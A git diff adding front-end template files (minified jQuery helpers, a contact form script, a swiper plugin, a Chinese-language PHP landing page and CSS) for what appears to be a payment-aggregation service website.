"animation-delay": o, + "-moz-animation-delay": o, + "-webkit-animation-delay": o, + "animation-name": i, + "-moz-animation-name": i, + "-webkit-animation-name": i + }) + } + }) + }), + e.bind("resize", + function() { + p() + }), + o(a).ready(function() { + p() + }), + this + }, + o.abovethetop = function(a, n) { + var p; + return p = n.container === i || n.container === t ? e.scrollTop() : o(n.container).offset().top, + p >= o(a).offset().top + n.threshold + o(a).height() + }, + o.belowthefold = function(a, n) { + var p; + return p = n.container === i || n.container === t ? (t.innerHeight ? t.innerHeight: e.height()) + e.scrollTop() : o(n.container).offset().top + o(n.container).height(), + p <= o(a).offset().top - n.threshold + } +} (jQuery, window, document), +JPlaceHolder.prototype = { + _check: function() { + return "placeholder" in document.createElement("input") + }, + init: function() { + this._check() || this.fix() + }, + fix: function() { + this.container.find("input[placeholder],textarea[placeholder]").each(function() { + var o = $(this), + t = o.attr("placeholder"); + o.val(t), + o.focusin(function() { + var o = $(this); + o.val() == t && o.val("") + }).focusout(function() { + var o = $(this); + "" == o.val() && o.val(t) + }) + }) + } +}; +var Reg = { + email: /^(\w-*\.*)+@(\w-?)+(\.\w{1,})+$/, + password: /^.{6,20}/, + code: /^.{4}$/, + checkCode: /^.{4}$/, + tel: /(^1[0-9]{10}$)|(^(\(\d{3,4}\)|\d{3,4}-|\s)?\d{7,8}$)/, + companyName: /^.{1,50}$/, + name: /^.{1,50}$/, + message: /^.{1,500}$/, + position: /.{0,50}$/ +}, +GetAttr = function(obj, attrStr) { + if (void 0 == obj || void 0 == attrStr) return ""; + try { + var result = eval("obj." + attrStr); + return void 0 == result ? "": result + } catch(ex) { + return "" + } +}, +valiContent = function(o, t) { + var t = t.find(".popbox-con"), + a = t.find("input[name=" + o + "]"); + 0 == a.length && (a = t.find("textarea[name=" + o + "]")); + var i = a.closest(".popbox-inputbox").find(".popbox-input-tip"), + e = a.attr("data-reg"), + n = a.attr("data-tip"); + if (i.hide(), "checkbox" == a.attr("type")) var p = a.prop("checked") ? 1 : 0; + else var p = $.trim(a.val()); + if ("cfmPassword" == e) { + if (p !== t.find('input[name="password"]').val()) return i.html(n).show(), + !1 + } else if ("checkbox" == a.attr("type")) { + if (!p) return i.html(n).show(), + !1 + } else { + var s = Reg[e]; + if (!s.test(p)) return i.html(n).show(), + !1 + } + return p +}, +valiDation = function(o, t) { + if ($.isArray(o)) { + for (var a = {}, + i = !0, + e = o.length - 1; e >= 0; e--) { + var n = o[e]; + a[n] = valiContent(n, t), + a[n] === !1 && (i = !1) + } + return i ? a: !1 + } + valiContent(o, t) +}, +countDown = function(o) { + o.addClass("cur"), + o.html("60秒后获取"); + var t = 60, + a = setInterval(function() { + return t -= 1, + 0 == t ? (clearInterval(a), a = null, void o.html("点击获取验证码").removeClass("cur")) : void o.html(t + "秒后获取") + }, + 1e3) +}, +setTipPop = function(o, t, a) { + var t = t || 2600, + i = "tip-pop err-pop"; + a && (i = "tip-pop"); + var e = $('
                                  ' + o + "
                                  "); + e.appendTo("body"); + var n = e.innerWidth(), + p = e.innerHeight(); + e.css({ + marginTop: -p / 2, + marginLeft: -n / 2 + }), + e.animate({ + opacity: 1 + }, + 600), + setTimeout(function() { + e.animate({ + opacity: 0 + }, + 600, + function() { + e.remove() + }) + }, + t) +}, +setMinHeight = function() { + var o = $(window).outerHeight(), + t = $(".header").outerHeight(), + a = $(".footer").outerHeight(), + i = o - t - a; + $(".main").css("min-height", i + "px") +}, +formBounced = function(o) { + $(".popbox").length > 0 && ($(".popbox").remove(), $(".popbox-wrap").remove()), + window.scrollTo(0, 0), + $("body").append(o) +}, +throttle = function(o, t) { + var a, i = o, + e = !0; + return function() { + var o = arguments, + n = this; + return e ? (i.apply(n, o), e = !1) : a ? !1 : void(a = setTimeout(function() { + clearTimeout(a), + a = null, + i.apply(n, o) + }, + t || 30)) + } +}, +browser = { + versions: function() { + { + var o = navigator.userAgent; + navigator.appVersion + } + return { + trident: o.indexOf("Trident") > -1, + presto: o.indexOf("Presto") > -1, + webKit: o.indexOf("AppleWebKit") > -1, + gecko: o.indexOf("Gecko") > -1 && -1 == o.indexOf("KHTML"), + mobile: !!o.match(/AppleWebKit.*Mobile.*/), + ios: !!o.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), + android: o.indexOf("Android") > -1 || o.indexOf("Linux") > -1, + iPhone: o.indexOf("iPhone") > -1, + iPad: o.indexOf("iPad") > -1, + webApp: -1 == o.indexOf("Safari") + } + } (), + language: (navigator.browserLanguage || navigator.language).toLowerCase() +}, +scrollFn = function() { + var o = $(window).scrollTop(), + t = $(".back-top"); + o > 300 ? t.show() : t.hide() +}; +/*$(".banner-owl").owlCarousel({ + items: 1, + loop: !0, + dots: !0, + lazyLoad: !1, + autoplay: !0, + autoplayTimeout: 5e3, + autoplayHoverPause: !0 +}), +function(o) { + var t = [".news-dynamic-owl", ".news-industry-owl", ".news-media-owl"], + a = o(".news-box-tit"), + i = (o(".news-container").find(".owl-carousel"), o(".case-item")); + i.height(1.4375 * i.width()), + o(".news-dynamic-owl").addClass("pass").owlCarousel({ + margin: 10, + lazyLoad: !1, + dots: !0, + mouseDrag: !1, + navText: ["", ""], + loop: !0, + nav: !0, + autoplay: !0, + autoplayTimeout: 4e3, + autoplayHoverPause: !0, + responsive: { + 0 : { + items: 1 + }, + 800 : { + items: 2 + }, + 1024 : { + items: 3 + } + } + }), + a.on("click", + function() { + var i = o(this); + if (!i.hasClass("cur")) { + var e = o(".news-box-nav").find(".cur"), + n = e.index(), + p = o(t[n]), + s = i.index(), + r = o(t[s]); + a.removeClass("cur"), + i.addClass("cur"), + p.hide(), + r.fadeIn(), + r.hasClass("pass") || r.addClass("pass").owlCarousel({ + margin: 10, + lazyLoad: !1, + mouseDrag: !1, + dots: !0, + navText: ["", ""], + loop: !0, + nav: !0, + autoplay: !0, + autoplayTimeout: 4e3, + autoplayHoverPause: !0, + responsive: { + 0 : { + items: 1 + }, + 800 : { + items: 2 + }, + 1024 : { + items: 3 + } + } + }) + } + }) +} ($), +$(".leader-owl").owlCarousel({ + items: 1, + loop: !0, + dots: !0, + smartSpeed: 1e3, + margin: 10, + lazyLoad: !1, + mouseDrag: !1, + autoplay: !0, + autoplayTimeout: 5500, + autoplayHoverPause: !0 +}), +$(".cooperation-owl").owlCarousel({ + loop: !0, + dots: !1, + nav: !0, + lazyLoad: !1, + navText: ["", ""], + autoWidth: !0, + autoplay: !0, + autoplayTimeout: 3e3, + autoplayHoverPause: !0 +}),*/ +$(".header-more").on("click", +function() { + $(".nav").stop().fadeToggle("slow") +}), +$(".back-top").on("click", +function() { + $("html,body").animate({ + scrollTop: 0 + }, + 300) +}), +$(".submit-btn").on("click", +function() { + var o = { + user: $.trim($(".input-name").val()), + telphone: $.trim($(".input-tel").val()), + email: $.trim($(".input-email").val()), + message: $.trim($(".input-message").val()) + }, + o = valiDation(["user", "telphone", "email", "message"], $(".contactus-box")); + o !== !1 && $.ajax({ + url: "/user/message", + type: "POST", + dataType: "json", + data: o + }).done(function(o) { + 200 == GetAttr(o, "meta.code") || 201 == GetAttr(o, "meta.code") ? (setTipPop("留言成功", 1600, !0), $(".contactus-input").val(""), new JPlaceHolder) : setTipPop(GetAttr(o, "meta.msg") || "系统处理异常!") + }).fail(function() { + setTipPop("系统处理异常!") + }) +}), +$(window).on("resize", +function() { + setMinHeight() +}), +$(".aside ul li.consulting").on("click",function() { + $(".aside ul li.consulting").addClass("active"); + $(".consulting_box").css("right", "40px"); +}), +$(".consulting_box .close").on("click",function() { + $(".aside ul li.consulting").removeClass("active"); + $(".consulting_box").css("right", "-250px"); +}), +$("#close").on("click",function () { + $("#show").animate({ + width: '40px' + }, 100); + $('.aside,#close').animate({ + width: 0 + }, 100); +}), +$("#show").on("click", function () { + $("#show").animate({ + width: '0px' + }, 100); + $('.aside,#close').animate({ + width: "40px" + }, 100); +}), +window.onscroll = throttle(scrollFn, 30), +$(document).ready(function() { + setMinHeight(), + new JPlaceHolder, + $("img[data-src]").lazyload({ + data_attribute: "src", + threshold: 350, + skip_invisible: !1, + effect: "fadeIn", + placeholder: "data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" + }), + browser.versions.mobile ? ($(".nav-item-tail > .nav-item-a").attr("href", "javascript:void(0);"), $(".flap").addClass("flaped"), $(".icon-wx").on("click", + function() { + $(".footer-code").stop().fadeToggle() + }), window.screen.availWidth >= 993 || $(document).width() >= 993 ? $("body").on("click.navClick", ".nav-item-tail", + function() { + var o = $(this).closest(".nav-item-tail").siblings(".nav-item-tail"), + t = $(this).find(".nav-item-child"); + o.find(".nav-item-child").fadeOut(), + t.stop().fadeToggle() + }) : $("body").on("click.navClick", ".nav-item-tail", + function() { + var o = $(this).find(".nav-item-child"); + o.stop().fadeToggle() + }), $(window).on("resize", + function() { + window.screen.availWidth >= 993 || $(document).width() >= 993 ? $("body").off("click.navClick").on("click.navClick", ".nav-item-tail", + function() { + var o = $(this).closest(".nav-item-tail").siblings(".nav-item-tail"), + t = $(this).find(".nav-item-child"); + o.find(".nav-item-child").fadeOut(), + t.stop().fadeToggle() + }) : $("body").off("click.navClick").on("click.navClick", ".nav-item-tail", + function() { + var o = $(this).find(".nav-item-child"); + o.stop().fadeToggle() + }) + }), $.getScript("", + function() { + FastClick.attach(document.body) + })) : ($(".nav-item-tail").on("mouseenter", + function() { + var o = $(this).find(".nav-item-child"); + o.stop().fadeIn() + }).on("mouseleave", + function() { + var o = $(this).find(".nav-item-child"); + o.stop().fadeOut() + }), $(".icon-wx").on("mouseenter", + function() { + $(".footer-code").stop().fadeIn() + }).on("mouseleave", + function() { + $(".footer-code").stop().fadeOut() + }), $(".flap").flap()) +}); \ No newline at end of file diff --git a/template/index3/assets/js/swiper.animate1.0.2.min.js b/template/index3/assets/js/swiper.animate1.0.2.min.js new file mode 100644 index 0000000..0171458 --- /dev/null +++ b/template/index3/assets/js/swiper.animate1.0.2.min.js @@ -0,0 +1,2 @@ +//本插件由www.swiper.com.cn提供 +function swiperAnimateCache(){for(allBoxes=window.document.documentElement.querySelectorAll(".ani"),i=0;i + + + + + + + +<?php echo $conf['title']?> + + + + + + + + + + + + + + + +
                                  +
                                  +

                                  + +

                                  + + +
                                  +
                                  +
                                  + + +
                                  +
                                  + + + + + +
                                  +
                                  +
                                  +
                                  +
                                  + 用数据赋能你我
                                  让生意简单好做
                                  + 成为 商户 >> +
                                  +
                                  +
                                  伙伴计划
                                  + 共建 · 共享 · 开放 +

                                  无论您是传统产业、创业者或者互联网企业,诚邀您共建支付服务新生态。

                                  + 成为 合作伙伴 >> +
                                  +
                                  +
                                  +
                                  + + + + +
                                  +
                                  +
                                  + +
                                  + +
                                  + + +
                                  +
                                  +

                                  产品中心

                                  + 提供支付接入方案,可在各种场景中轻松收款 +
                                  +
                                  +
                                  + +
                                  +
                                  + +
                                  快捷支付
                                  + Quick Pay +

                                  可跨终端、跨平台、跨浏览器支付;

                                  +

                                  不需开通网银,只需提供银行卡号、户名、手机号码等信息,银行验证手机动态口令,即可完成支付。

                                  +
                                  +
                                  + +
                                  扫码支付
                                  + Scan To Pay +

                                  支付宝、微信双渠道接入,双层保障!

                                  +

                                  可以自由选择主动扫码、被动扫码两种方式进行交易。

                                  +
                                  +
                                  + +
                                  公众号支付
                                  + Media Platform Pay +

                                  基于新媒体时代的支付方式!

                                  +

                                  微信公众号、支付宝服务窗内,唤起主程序完成交易。

                                  +
                                  +
                                  + +
                                  APP支付
                                  + APP Pay +

                                  手机APP内,只需简单的几行代码,即可接入微信、支付宝、快捷等主流支付方式。

                                  +

                                  用户可以依照自己的习惯选择喜欢的支付方式。

                                  +
                                  +
                                  + +
                                  小程序支付
                                  + Small Program Pay +

                                  微信小程序应用或商家H5页面

                                  +

                                  在页面内调用主程序JSSDK完成支付。

                                  +
                                  +
                                  + +
                                  H5支付
                                  + H5 Pay +

                                  不依赖APP、公众号等媒介,普通网页中即可进行交易;

                                  +

                                  几行代码简单接入,快速集成上线。多种主流支付渠道,自适应支付场景,PC端、WAP端、H5页面。

                                  +
                                  +
                                  + +
                                  网关支付
                                  + Gateway Pay +

                                  2秒支付、60秒支付自动更新

                                  +
                                  +
                                  + +
                                  企业收付款
                                  + Enterprise Collection And Pay +

                                  企业收款:为企业提供一站式便捷收单产品

                                  +

                                  企业付款:提供单笔或多笔至指定银行的付款服务

                                  +
                                  +
                                  + +
                                  跨境支付
                                  + Cross Border Pay +

                                  提供收单、实名认证、报送海关等服务

                                  +
                                  +
                                  +
                                  聚合主流通道,为您提供全方位支付体验
                                  + 彻底告别繁琐的支付接入流程,7行代码、半小时搞定! +

                                  为每一个需要支付服务的企业提供服务和技术支持,帮助企业快速的搭建自己的支付系统。

                                  +

                                  现在如今,支付是商业变现必不可少的环节。我们聚合所有主流支付渠道,给你更简单、快捷的接入体验,同时提供简单易用的管理平台,让你可以集中进行跨渠道的交易管理和财务管理。

                                  +

                                  我们致力于帮助企业快速和高质量地建立支付模块,满足企业任何支付场景的需求!

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  我们的优势

                                  + 方便快捷的支付接入体验,让支付和收款更简单! +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + 极简使用 +

                                  七行代码,极速完成,支付接入
                                  简洁的操作界面易于使用

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + 灵活便利 +

                                  产品服务灵活组合
                                  满足企业多元化业务需求

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + 不介入资金流 +

                                  只负责交易处理不参与资金清算
                                  保障您的资金安全

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + 大数据 +

                                  运用交易数据分析功能
                                  了解公司运营状况

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + 增值服务 +

                                  提供金融产品及技术服务
                                  帮助企业整合互联网金融

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + 安全稳定 +

                                  平台运行于阿里云计算中心
                                  多备份容灾保障

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  ,做您身边的支付服务商
                                  + 选择对的服务商能让您更快更好的迈进互联网金融时代 + 点击咨询 +
                                  +
                                  +
                                  +
                                  +

                                  特色与服务

                                  + 高额佣金激励回报,打造支付合作共赢生态圈 +
                                  + +
                                  +
                                    +
                                  • + + 支付能力 +

                                    让接入支付变的简单方便,随处可得

                                    +
                                  • +
                                  • + + 资源共享 +

                                    丰富的外部资源提高顾客忠诚度

                                    +
                                  • +
                                  • + + 准确营销 +

                                    利用支付数据找到有价值的顾客

                                    +
                                  • +
                                  • + + 专业产品 +

                                    满足商家多样的管理、收银、营销等诉求

                                    +
                                  • +
                                  • + + 技术支持 +

                                    快速响应,7x24小时为您解答各类技术问题

                                    +
                                  • +
                                  • + + 合作伙伴 +

                                    高额激励回报,打造合作共赢生态

                                    +
                                  • +
                                  +
                                  + +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  专业的技术团队与行业资源
                                  +

                                  专业的技术团队与丰富的行业资源保障稳定、便捷的产品和服务。

                                  +

                                  通过SDK接入多种主流通道,用saas模式创建商户交易管理系统,您无须投入技术团队和通道资源也能够实现自己的支付系统、管理自己的交易订单。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  一站式的平台管理系统
                                  +

                                  开放平台——渠道分层管理系统。

                                  +

                                  无论是平台自营或是代理,均能进行层级管理,全局把控交易和财务,实现自由灵活的商户交易管理,并能与合作伙伴便捷分享利益。

                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  便捷的商户管理平台
                                  +

                                  开放平台——商户支付管理系统。

                                  +

                                  它能够满足企业集中式管理支付应用,进行快速的财务对账,便捷的交易与结算查询,更有商业智能BI帮助企业分析经营。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  简便的全流程自助服务
                                  +

                                  我们提倡开放便捷共享,平台提供方便简易的入网申请、在线接口联调、测试上线等自助式操作功能,化繁为简,一杯咖啡时间帮助你接入支付。

                                  +

                                  同时平台全面提供7*24小时客户服务,保障客户问题随时得到处理解决。

                                  +
                                  +
                                  + +
                                  +
                                  +
                                  + + +
                                  + + +
                                  +
                                  + 我们具有专业的技术团队和丰富的行业资源,旨在帮助企业快速便捷地实现自己的支付功能。
                                  我们以开放云平台的新模式,着力发扬“开放、共建、共享”的理念,提供标准化的支付产品与服务,共享金融大数据资源。
                                  +
                                  +
                                  + + + + + + + + + + + + + + + + + diff --git a/template/index3/preview.png b/template/index3/preview.png new file mode 100644 index 0000000..c4525d8 Binary files /dev/null and b/template/index3/preview.png differ diff --git a/template/index4/assets/css/app.min.css b/template/index4/assets/css/app.min.css new file mode 100644 index 0000000..92e0671 --- /dev/null +++ b/template/index4/assets/css/app.min.css @@ -0,0 +1,5 @@ +@charset 'UTF-8';/*! +*/:root{--blue:#5e72e4;--indigo:#5603ad;--purple:#8965e0;--pink:#f3a4b5;--red:#f5365c;--orange:#fb6340;--yellow:#ffd600;--green:#2dce89;--teal:#11cdef;--cyan:#2bffc6;--white:#fff;--gray:#8898aa;--gray-dark:#32325d;--light:#ced4da;--lighter:#e9ecef;--primary:#5e72e4;--secondary:#f7fafc;--success:#2dce89;--info:#11cdef;--warning:#fb6340;--danger:#f5365c;--light:#adb5bd;--dark:#212529;--default:#172b4d;--white:#fff;--neutral:#fff;--darker:black;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:Open Sans,sans-serif;--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,'Liberation Mono','Courier New',monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{font-family:Open Sans,sans-serif;font-size:1rem;font-weight:400;line-height:1.5;margin:0;text-align:left;color:#525f7f;background-color:#f8f9fe}[tabindex='-1']:focus{outline:0!important}hr{overflow:visible;box-sizing:content-box;height:0}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{cursor:help;text-decoration:underline;text-decoration:underline dotted;border-bottom:0;-webkit-text-decoration:underline dotted;text-decoration-skip-ink:none}address{font-style:normal;line-height:inherit;margin-bottom:1rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:600}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{text-decoration:none;color:#5e72e4;background-color:transparent}a:hover{text-decoration:none;color:#233dd2}a:not([href]):not([tabindex]){text-decoration:none;color:inherit}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{text-decoration:none;color:inherit}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,'Liberation Mono','Courier New',monospace;font-size:1em}pre{overflow:auto;margin-top:0;margin-bottom:1rem}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:1rem;padding-bottom:1rem;caption-side:bottom;text-align:left;color:#8898aa}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit;margin:0}button,input{overflow:visible}button,select{text-transform:none}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;margin:0;padding:0;border:0}legend{font-size:1.5rem;line-height:inherit;display:block;width:100%;max-width:100%;margin-bottom:.5rem;padding:0;white-space:normal;color:inherit}@media (max-width:1200px){legend{font-size:calc(1.275rem + .3vw)}}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:600;line-height:1.5;margin-bottom:.5rem;color:#32325d}.h1,h1{font-size:1.625rem}@media (max-width:1200px){.h1,h1{font-size:calc(1.2875rem + .45vw)}}.h2,h2{font-size:1.25rem}.h3,h3{font-size:1.0625rem}.h4,h4{font-size:.9375rem}.h5,h5{font-size:.8125rem}.h6,h6{font-size:.625rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:3.3rem;font-weight:600;line-height:1.5}@media (max-width:1200px){.display-1{font-size:calc(1.455rem + 2.46vw)}}.display-2{font-size:2.75rem;font-weight:600;line-height:1.5}@media (max-width:1200px){.display-2{font-size:calc(1.4rem + 1.8vw)}}.display-3{font-size:2.1875rem;font-weight:600;line-height:1.5}@media (max-width:1200px){.display-3{font-size:calc(1.34375rem + 1.125vw)}}.display-4{font-size:1.6275rem;font-weight:600;line-height:1.5}@media (max-width:1200px){.display-4{font-size:calc(1.28775rem + .453vw)}}hr{margin-top:2rem;margin-bottom:2rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{font-size:1.25rem;margin-bottom:1rem}.blockquote-footer{font-size:80%;display:block;color:#8898aa}.blockquote-footer::before{content:'\2014\00A0'}.img-fluid{max-width:100%;height:auto}.img-thumbnail{max-width:100%;height:auto;padding:.25rem;border:1px solid #dee2e6;border-radius:.375rem;background-color:#f8f9fe;box-shadow:0 1px 2px rgba(0,0,0,.075)}.figure{display:inline-block}.figure-img{line-height:1;margin-bottom:.5rem}.figure-caption{font-size:90%;color:#8898aa}code{font-size:87.5%;word-break:break-word;color:#f3a4b5}a>code{color:inherit}kbd{font-size:87.5%;padding:.2rem .4rem;color:#fff;border-radius:.25rem;background-color:#212529;box-shadow:inset 0 -.1rem 0 rgba(0,0,0,.25)}kbd kbd{font-size:100%;font-weight:600;padding:0;box-shadow:none}pre{font-size:87.5%;display:block;color:#212529}pre code{font-size:inherit;word-break:normal;color:inherit}.pre-scrollable{overflow-y:scroll;max-height:340px}.container{width:100%;margin-right:auto;margin-left:auto;padding-right:15px;padding-left:15px}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;margin-right:auto;margin-left:auto;padding-right:15px;padding-left:15px}.row{display:flex;margin-right:-15px;margin-left:-15px;flex-wrap:wrap}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{max-width:100%;flex-basis:0;flex-grow:1}.col-auto{width:auto;max-width:100%;flex:0 0 auto}.col-1{max-width:8.33333%;flex:0 0 8.33333%}.col-2{max-width:16.66667%;flex:0 0 16.66667%}.col-3{max-width:25%;flex:0 0 25%}.col-4{max-width:33.33333%;flex:0 0 33.33333%}.col-5{max-width:41.66667%;flex:0 0 41.66667%}.col-6{max-width:50%;flex:0 0 50%}.col-7{max-width:58.33333%;flex:0 0 58.33333%}.col-8{max-width:66.66667%;flex:0 0 66.66667%}.col-9{max-width:75%;flex:0 0 75%}.col-10{max-width:83.33333%;flex:0 0 83.33333%}.col-11{max-width:91.66667%;flex:0 0 91.66667%}.col-12{max-width:100%;flex:0 0 100%}.order-first{order:-1}.order-last{order:13}.order-0{order:0}.order-1{order:1}.order-2{order:2}.order-3{order:3}.order-4{order:4}.order-5{order:5}.order-6{order:6}.order-7{order:7}.order-8{order:8}.order-9{order:9}.order-10{order:10}.order-11{order:11}.order-12{order:12}.offset-1{margin-left:8.33333%}.offset-2{margin-left:16.66667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333%}.offset-5{margin-left:41.66667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333%}.offset-8{margin-left:66.66667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333%}.offset-11{margin-left:91.66667%}@media (min-width:576px){.col-sm{max-width:100%;flex-basis:0;flex-grow:1}.col-sm-auto{width:auto;max-width:100%;flex:0 0 auto}.col-sm-1{max-width:8.33333%;flex:0 0 8.33333%}.col-sm-2{max-width:16.66667%;flex:0 0 16.66667%}.col-sm-3{max-width:25%;flex:0 0 25%}.col-sm-4{max-width:33.33333%;flex:0 0 33.33333%}.col-sm-5{max-width:41.66667%;flex:0 0 41.66667%}.col-sm-6{max-width:50%;flex:0 0 50%}.col-sm-7{max-width:58.33333%;flex:0 0 58.33333%}.col-sm-8{max-width:66.66667%;flex:0 0 66.66667%}.col-sm-9{max-width:75%;flex:0 0 75%}.col-sm-10{max-width:83.33333%;flex:0 0 83.33333%}.col-sm-11{max-width:91.66667%;flex:0 0 91.66667%}.col-sm-12{max-width:100%;flex:0 0 100%}.order-sm-first{order:-1}.order-sm-last{order:13}.order-sm-0{order:0}.order-sm-1{order:1}.order-sm-2{order:2}.order-sm-3{order:3}.order-sm-4{order:4}.order-sm-5{order:5}.order-sm-6{order:6}.order-sm-7{order:7}.order-sm-8{order:8}.order-sm-9{order:9}.order-sm-10{order:10}.order-sm-11{order:11}.order-sm-12{order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333%}.offset-sm-2{margin-left:16.66667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333%}.offset-sm-5{margin-left:41.66667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333%}.offset-sm-8{margin-left:66.66667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333%}.offset-sm-11{margin-left:91.66667%}}@media (min-width:768px){.col-md{max-width:100%;flex-basis:0;flex-grow:1}.col-md-auto{width:auto;max-width:100%;flex:0 0 auto}.col-md-1{max-width:8.33333%;flex:0 0 8.33333%}.col-md-2{max-width:16.66667%;flex:0 0 16.66667%}.col-md-3{max-width:25%;flex:0 0 25%}.col-md-4{max-width:33.33333%;flex:0 0 33.33333%}.col-md-5{max-width:41.66667%;flex:0 0 41.66667%}.col-md-6{max-width:50%;flex:0 0 50%}.col-md-7{max-width:58.33333%;flex:0 0 58.33333%}.col-md-8{max-width:66.66667%;flex:0 0 66.66667%}.col-md-9{max-width:75%;flex:0 0 75%}.col-md-10{max-width:83.33333%;flex:0 0 83.33333%}.col-md-11{max-width:91.66667%;flex:0 0 91.66667%}.col-md-12{max-width:100%;flex:0 0 100%}.order-md-first{order:-1}.order-md-last{order:13}.order-md-0{order:0}.order-md-1{order:1}.order-md-2{order:2}.order-md-3{order:3}.order-md-4{order:4}.order-md-5{order:5}.order-md-6{order:6}.order-md-7{order:7}.order-md-8{order:8}.order-md-9{order:9}.order-md-10{order:10}.order-md-11{order:11}.order-md-12{order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333%}.offset-md-2{margin-left:16.66667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333%}.offset-md-5{margin-left:41.66667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333%}.offset-md-8{margin-left:66.66667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333%}.offset-md-11{margin-left:91.66667%}}@media (min-width:992px){.col-lg{max-width:100%;flex-basis:0;flex-grow:1}.col-lg-auto{width:auto;max-width:100%;flex:0 0 auto}.col-lg-1{max-width:8.33333%;flex:0 0 8.33333%}.col-lg-2{max-width:16.66667%;flex:0 0 16.66667%}.col-lg-3{max-width:25%;flex:0 0 